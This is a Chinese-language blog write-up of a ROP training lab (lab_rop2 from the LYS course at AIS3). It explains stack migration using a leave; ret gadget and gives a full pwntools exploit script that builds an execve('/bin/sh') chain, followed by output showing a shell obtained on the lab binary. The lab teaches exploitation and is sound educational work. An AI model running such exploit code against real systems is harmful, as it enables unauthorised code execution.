LYS Rop lab_rop2 Writeup

kazma 成大資安社 創辦人/社長

lab_rop2

這次藉著到 AIS3 當助教的緣故順便跟 Curious 一起把 LYS ROP 系列課程的 lab 整理到了部落格,也方便給學員參考。
那因為是一系列的 lab,所以接下來只會主要講跟上個版本的差異

Stack Migration

首先提一下 stack migration 的概念:
當我們今天發現程式可以 overflow 但是溢出的長度卻不夠我們構造 ROP 開 shell 的時候,我們可以透過塞入一個 leave; ret gadget,控制 rbp 進而跳到另外一個足夠的空間詠唱。
以下附上 LYS 的投影片截圖參考:
stack

Diff

首先附上部分程式碼:

1
2
3
4
5
6
printf("What is your name? ");
readbuf(name, 0x100);
printf("Hello, %s\n", name);
char buf[0x10];
printf("You have a buffer overflow vuln: ");
readbuf(buf, 0x20);

那這次跟 rop1 的主要差別是第二個輸入點的溢出長度只有 0x10,所以沒辦法跟上一個 lab 一樣把 rop chain 寫到 buf 裡,那這裡就可以用我們上面提到的 stack migration。

Exploitation

我們可以透過先往 name 寫入 /bin/sh\x00 還有我們的 rop chain,然後再從 buf 填入 name 的地址和 leave; ret 來讓 rip 跳到 rop chain 上,成功 RCE。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.arch = "amd64"
# context.terminal = ["tmux", "splitw", "-h"]

# r = remote("35.229.243.81", 10102)
r = process("./rop2")

pop_rax = 0x44FD87
pop_rdi = 0x401F4F
pop_rdx_rbx = 0x485BAB
pop_rsi = 0x409F7E
syscall = 0x401D04
name = 0x4C7300
leave_ret = 0x4017EE

p = flat(
pop_rax, 0x3B,
pop_rdi, name,
pop_rsi, 0,
pop_rdx_rbx, 0, 0,
syscall
)

# gdb.attach(r)
r.sendlineafter(b"name? ", b"/bin/sh\x00" + p)
r.sendlineafter(b"vuln: ", b"a" * 0x10 + flat(name, leave_ret))
r.interactive()

Dive in

那剛好這幾天在 AIS3 當助教有很多學員都問到同一個問題,這邊提出來討論:
Q: 為什麼 migration 不是跳到 name + 8 的位置,執行 /bin/sh\x00 不會報錯嗎?
A: 問的好,首先如果我們不確定 exploit 執行過程中到底 binary 發生什麼事的話,gdb 是我們的好朋友。
那打開 gdb 後我們首先來看一下 payload 放進去的樣子:
explain
看起來很完美,那繼續執行下去很去就會發現兩次的 leave; ret 會把 rbp 填成 /bin/sh\x00
explain2
所以這樣剛好 rip 就會從 rop chain 的開頭開始執行。

Result

最後依照慣例附上 exploit 的結果:

1
2
3
4
5
6
7
└─$ python exploit.py
[+] Starting local process './rop2': pid 113595
[*] running in new terminal: ['/usr/bin/gdb', '-q', './rop2', '113595']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
$ id
uid=1000(kazma) gid=1000(kazma) groups=1000(kazma),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),116(bluetooth),129(scanner)

Pwned !!!

  • Title: LYS Rop lab_rop2 Writeup
  • Author: kazma
  • Created at : 2024-08-01 09:24:27
  • Updated at : 2024-08-03 17:06:13
  • Link: https://kazma.tw/2024/08/01/LYS-Rop-lab-rop2-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
LYS Rop lab_rop2 Writeup